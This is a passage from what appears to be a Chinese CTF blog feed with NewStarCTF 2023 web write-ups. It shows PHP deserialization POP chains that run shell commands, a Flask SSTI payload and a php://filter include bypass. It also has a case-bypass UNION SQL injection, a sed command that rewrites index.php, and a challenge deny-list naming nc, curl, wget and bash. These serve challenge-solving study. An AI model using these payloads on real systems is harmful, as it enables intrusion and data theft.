class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Begin</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$name</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">"/[a-zA-Z0-9]/"</span>, <span class="hljs-variable">$this</span>->name)) {<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"Hello"</span>;<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"Welcome to NewStarCTF 2023!"</span>;<br> }<br> }<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Then</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$func</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable language_">$this</span>->func = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Super</span>;<br> }<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__toString</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> (<span class="hljs-variable language_">$this</span>->func)();<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"Good Job!"</span>;<br> }<br><br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Handle</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$obj</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable language_">$this</span>->obj = <span class="hljs-keyword">new</span> CTF;<br> }<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__call</span>(<span class="hljs-params"><span class="hljs-variable">$func</span>, <span class="hljs-variable">$vars</span></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable language_">$this</span>->obj-><span class="hljs-title function_ invoke__">end</span>();<br> }<br><br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Super</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$obj</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable language_">$this</span>->obj = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Handle</span>;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__invoke</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable language_">$this</span>->obj-><span class="hljs-title function_ invoke__">getStr</span>();<br> }<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">end</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">die</span>(<span class="hljs-string">"==GAME OVER=="</span>);<br> }<br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">CTF</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$handle</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable language_">$this</span>->handle = <span class="hljs-keyword">new</span> <span class="hljs-title class_">WhiteGod</span>;<br> }<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">end</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">unset</span>(<span class="hljs-variable language_">$this</span>->handle->log);<br> }<br><br>}<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">WhiteGod</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$func</span> = <span class="hljs-string">'system'</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$var</span> = <span class="hljs-string">'cat /flag'</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__unset</span>(<span class="hljs-params"><span class="hljs-variable">$var</span></span>)</span><br><span class="hljs-function"> </span>{<br> (<span class="hljs-variable language_">$this</span>->func)(<span class="hljs-variable language_">$this</span>-><span class="hljs-keyword">var</span>);<br> }<br>}<br><br><span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Begin</span>;<br><span class="hljs-variable">$a</span>->name = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Then</span>;<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">urlencode</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>));<br></code></pre></td></tr></table></figure><h2 id="GenShin"><a href="#GenShin" class="headerlink" title="GenShin"></a>GenShin</h2><p>打开容器后发现返回表头pop值为/secr3tofpop</p><p>进入后发现是python flask的ssti</p><p>黑名单有<code>{{}}</code>,<code>os</code>,<code>=</code>等</p><p><code>name={%print({}.__class__.__bases__[0].__subclasses__())%}</code>查看所有方法</p><p>使用FileLoader</p><p><code>?name={%print({}.__class__.__bases__[0].__subclasses__()[99][%22get_data%22](0,%22flag%22))%}</code></p><p>得到flag</p><h2 id="R-C-E"><a href="#R-C-E" class="headerlink" title="R!!!C!!!E!!!"></a>R!!!C!!!E!!!</h2><p>打开容器,发现代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">minipop</span></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$code</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$qwejaskdjnlka</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__toString</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span>(!<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">'/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i'</span>, <span class="hljs-variable">$this</span>->code)){<br> <span class="hljs-title function_ invoke__">exec</span>(<span class="hljs-variable">$this</span>->code);<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"alright"</span>;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">echo</span> <span class="hljs-variable language_">$this</span>->qwejaskdjnlka;<br> }<br>}<br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'payload'</span>])){<br> <span class="hljs-comment">//wanna try?</span><br> <span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'payload'</span>]);<br>}<br></code></pre></td></tr></table></figure><p>过滤的字符有点多,不太容易RCE,最后用了个小技巧,把index.php中的<code>|</code>删去,然后再命令执行。</p><p>给出payload:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">minipop</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$code</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$qwejaskdjnlka</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__toString</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (!<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">'/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i'</span>, <span class="hljs-variable">$this</span>->code)) {<br> <span class="hljs-title function_ invoke__">exec</span>(<span class="hljs-variable">$this</span>->code);<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"alright"</span>;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">echo</span> <span class="hljs-variable language_">$this</span>->qwejaskdjnlka;<br> }<br>}<br><span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> minipop;<br><span class="hljs-variable">$a</span>->qwejaskdjnlka = <span class="hljs-keyword">new</span> minipop;<br><span class="hljs-variable">$a</span>->qwejaskdjnlka->code = <span class="hljs-string">'sed -i \'s/|//g\' index`echo -e "\x2ep"`hp'</span>;<br><span class="hljs-variable">$a</span>->qwejaskdjnlka->code = <span class="hljs-string">'ls / >1.php'</span>;<br><span class="hljs-variable">$a</span>->qwejaskdjnlka->code = <span class="hljs-string">'cat /flag_is_h3eeere >1.php'</span>;<br><span class="hljs-keyword">echo</span> (<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>));<br></code></pre></td></tr></table></figure><h2 id="OtenkiGirl"><a href="#OtenkiGirl" class="headerlink" title="OtenkiGirl"></a>OtenkiGirl</h2><p>不会,等个官方wp,但凭感觉是原型链污染</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>第三周感觉难度上来了,做起来有点费劲了</p><p>贴个官方wp:<a href="https://shimo.im/docs/QPMRxzGktzsZnzhz">https://shimo.im/docs/QPMRxzGktzsZnzhz</a></p>]]></content>
<categories>
<category>WriteUp</category>
</categories>
<tags>
<tag>web</tag>
</tags>
</entry>
<entry>
<title>NewStarCTF 2023-WEEK2 Web WriteUp</title>
<link href="/2023/10/10/2023newstarctfWeek2/"/>
<url>/2023/10/10/2023newstarctfWeek2/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>解题 6/6</p><h2 id="游戏高手"><a href="#游戏高手" class="headerlink" title="游戏高手"></a>游戏高手</h2><p>打开容器,发现一个前端页面,F12进行javascript代码审计。</p><p>发现函数gameover()</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">gameover</span>(<span class="hljs-params"></span>){<br> <span class="hljs-keyword">if</span>(gameScore > <span class="hljs-number">100000</span>){<br> <span class="hljs-keyword">var</span> xhr = <span class="hljs-keyword">new</span> <span class="hljs-title class_">XMLHttpRequest</span>();<br> xhr.<span class="hljs-title function_">open</span>(<span class="hljs-string">"POST"</span>, <span class="hljs-string">"/api.php"</span>, <span class="hljs-literal">true</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Content-Type"</span>, <span class="hljs-string">"application/json"</span>);<br> xhr.<span class="hljs-property">onreadystatechange</span> = <span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">if</span> (xhr.<span class="hljs-property">readyState</span> === <span class="hljs-number">4</span> && xhr.<span class="hljs-property">status</span> === <span class="hljs-number">200</span>) {<br> <span class="hljs-keyword">var</span> response = <span class="hljs-title class_">JSON</span>.<span class="hljs-title function_">parse</span>(xhr.<span class="hljs-property">responseText</span>);<br> <span class="hljs-title function_">alert</span>(response.<span class="hljs-property">message</span>);<br> }<br> };<br> <span class="hljs-keyword">var</span> data = {<br> <span class="hljs-attr">score</span>: gameScore,<br> };<br> xhr.<span class="hljs-title function_">send</span>(<span class="hljs-title class_">JSON</span>.<span class="hljs-title function_">stringify</span>(data));<br> }<br><span class="hljs-title function_">alert</span>(<span class="hljs-string">"成绩:"</span>+gameScore);<br>gameScore=<span class="hljs-number">0</span>; <br>curPhase =<span class="hljs-variable constant_">PHASE_READY</span>; <br>hero = <span class="hljs-literal">null</span>;<br>hero = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Hero</span>(); <br>}<br></code></pre></td></tr></table></figure><p>分析逻辑,发现当<code>gameScore</code>大于100000时,会将<code>{score: gameScore}</code>转化为json发送到/api.php,将返回结果<code>alert</code>,因此猜测flag由api.php给出。</p><p>在控制台重写gameover函数</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">gameover</span>(<span class="hljs-params"></span>){<br> <span class="hljs-keyword">if</span>(gameScore < <span class="hljs-number">100000</span>){<br> gameScore = <span class="hljs-number">1000000</span>;<br> <span class="hljs-keyword">var</span> xhr = <span class="hljs-keyword">new</span> <span class="hljs-title class_">XMLHttpRequest</span>();<br> xhr.<span class="hljs-title function_">open</span>(<span class="hljs-string">"POST"</span>, <span class="hljs-string">"/api.php"</span>, <span class="hljs-literal">true</span>);<br> xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">"Content-Type"</span>, <span class="hljs-string">"application/json"</span>);<br> xhr.<span class="hljs-property">onreadystatechange</span> = <span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">if</span> (xhr.<span class="hljs-property">readyState</span> === <span class="hljs-number">4</span> && xhr.<span class="hljs-property">status</span> === <span class="hljs-number">200</span>) {<br> <span class="hljs-keyword">var</span> response = <span class="hljs-title class_">JSON</span>.<span class="hljs-title function_">parse</span>(xhr.<span class="hljs-property">responseText</span>);<br> <span class="hljs-title function_">alert</span>(response.<span class="hljs-property">message</span>);<br> }<br> };<br> <span class="hljs-keyword">var</span> data = {<br> <span class="hljs-attr">score</span>: gameScore,<br> };<br> xhr.<span class="hljs-title function_">send</span>(<span class="hljs-title class_">JSON</span>.<span class="hljs-title function_">stringify</span>(data));<br> }<br><span class="hljs-title function_">alert</span>(<span class="hljs-string">"成绩:"</span>+gameScore);<br>gameScore=<span class="hljs-number">0</span>; <br>curPhase =<span class="hljs-variable constant_">PHASE_READY</span>; <br>hero = <span class="hljs-literal">null</span>;<br>hero = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Hero</span>(); <br>}<br></code></pre></td></tr></table></figure><p>接着在控制台执行gameover(),得到flag:<code>flag{5d66c0a8-cb52-4099-a3fb-f7d5cf4826d0}</code></p><h2 id="include-0。0"><a href="#include-0。0" class="headerlink" title="include 0。0"></a>include 0。0</h2><p>打开容器,发现一段php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-comment">// FLAG in the flag.php</span><br><span class="hljs-variable">$file</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'file'</span>];<br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$file</span>) && !<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">'/base|rot/i'</span>,<span class="hljs-variable">$file</span>)){<br> @<span class="hljs-keyword">include</span>(<span class="hljs-variable">$file</span>);<br>}<span class="hljs-keyword">else</span>{<br> <span class="hljs-keyword">die</span>(<span class="hljs-string">"nope"</span>);<br>}<br><span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><p>看到<code>include</code>,文件包含漏洞。</p><p>但是<code>!preg_match('/base|rot/i',$file)</code>如果file中含有base和rot就会die,所以用不了普通的<code>php://filter/read=convert.base64-encode/resource=flag.php</code>和<code>php://filter/read=string.rot13/resource=flag.php</code></p><p>使用其他字符集,<code>php://filter/read=convert.iconv.UTF8.UTF7/resource=flag.php</code>,得到<code>flag+AHs-59c6afe7-3cad-4eb3-abac-38b09521a184+AH0</code></p><p>稍加改动,得到flag:<code>flag{59c6afe7-3cad-4eb3-abac-38b09521a184}</code></p><p>这里贴一个字符集filter脚本,<a href="https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT">wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT </a></p><h2 id="ez-sql"><a href="#ez-sql" class="headerlink" title="ez_sql"></a>ez_sql</h2><p>打开容器,发现好多a标签,随便点点,发现有id参数传入。</p><p><code>?id=TMP0919'--+</code>发现依旧可以显示,猜测是sql注入。</p><p>但是<code>?id=TMP0919'or 1=1--+</code>显示no,有黑名单,使用大小写绕过。</p><p><code>?id=TMP0919'Or 1=1--+</code>绕过成功。</p><p><strong>查字段数</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">?id<span class="hljs-operator">=</span>TMP0919<span class="hljs-string">' Order by 5--+</span><br></code></pre></td></tr></table></figure><p>成功</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">?id<span class="hljs-operator">=</span>TMP0919<span class="hljs-string">' Order by 6--+</span><br></code></pre></td></tr></table></figure><p>无法回显,得到字段数为5。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">?id<span class="hljs-operator">=</span>T<span class="hljs-string">' union seLect 1,2,3,4,5--+</span><br></code></pre></td></tr></table></figure><p>可以正常回显。</p><p><strong>查库名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">?id<span class="hljs-operator">=</span>T<span class="hljs-string">' union seLect database(),2,3,4,5--+</span><br></code></pre></td></tr></table></figure><p>回显<code>ctf</code>,注意select需要使用大小写绕过。</p><p><strong>查表名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">?id<span class="hljs-operator">=</span>T<span class="hljs-string">' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),3,4,5--+</span><br></code></pre></td></tr></table></figure><p>返回<code>grades,here_is_flag</code>,发现here_is_flag表,注意information_schema和where需要使用大小写绕过。</p><p><strong>查列名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">?id<span class="hljs-operator">=</span>T<span class="hljs-string">' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),(seLect group_concat(column_name) from infOrmation_schema.columns wHere table_name='</span>here_is_flag<span class="hljs-string">' ),4,5--+</span><br></code></pre></td></tr></table></figure><p>返回<code>flag</code>,得到flag列</p><p><strong>查flag</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">?id<span class="hljs-operator">=</span>T<span class="hljs-string">' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),(seLect group_concat(column_name) from infOrmation_schema.columns wHere table_name='</span>here_is_flag<span class="hljs-string">' ),(seLect flag from ctf.here_is_flag),5--+</span><br></code></pre></td></tr></table></figure><p>得到flag:<code>flag{fbbd976e-4244-4154-b2d1-a38dba8a9ef2}</code></p><h2 id="Unserialize?"><a href="#Unserialize?" class="headerlink" title="Unserialize?"></a>Unserialize?</h2><p>打开容器,发现php代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-comment">// Maybe you need learn some knowledge about deserialize?</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">evil</span> </span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$cmd</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span>(!<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">"/cat|tac|more|tail|base/i"</span>, <span class="hljs-variable">$this</span>->cmd)){<br> @<span class="hljs-title function_ invoke__">system</span>(<span class="hljs-variable">$this</span>->cmd);<br> }<br> }<br>}<br><br>@<span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'unser'</span>]);<br><span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><p>利用php反序列化漏洞,本地搭建php环境</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-comment">// Maybe you need learn some knowledge about deserialize?</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">evil</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$cmd</span> = <span class="hljs-string">"ls /"</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (!<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">"/cat|tac|more|tail|base/i"</span>, <span class="hljs-variable">$this</span>->cmd)) {<br> @<span class="hljs-title function_ invoke__">system</span>(<span class="hljs-variable">$this</span>->cmd);<br> }<br> }<br>}<br><br><span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> evil;<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">urlencode</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>));<br><span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><p>拿到<code>O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A4%3A%22ls+%2F%22%3B%7D</code></p><p>直接打,发现flag路径:<code>/th1s_1s_fffflllll4444aaaggggg</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-comment">// Maybe you need learn some knowledge about deserialize?</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">evil</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$cmd</span> = <span class="hljs-string">"ca''t /th1s_1s_fffflllll4444aaaggggg"</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (!<span class="hljs-title function_ invoke__">preg_match</span>(<span 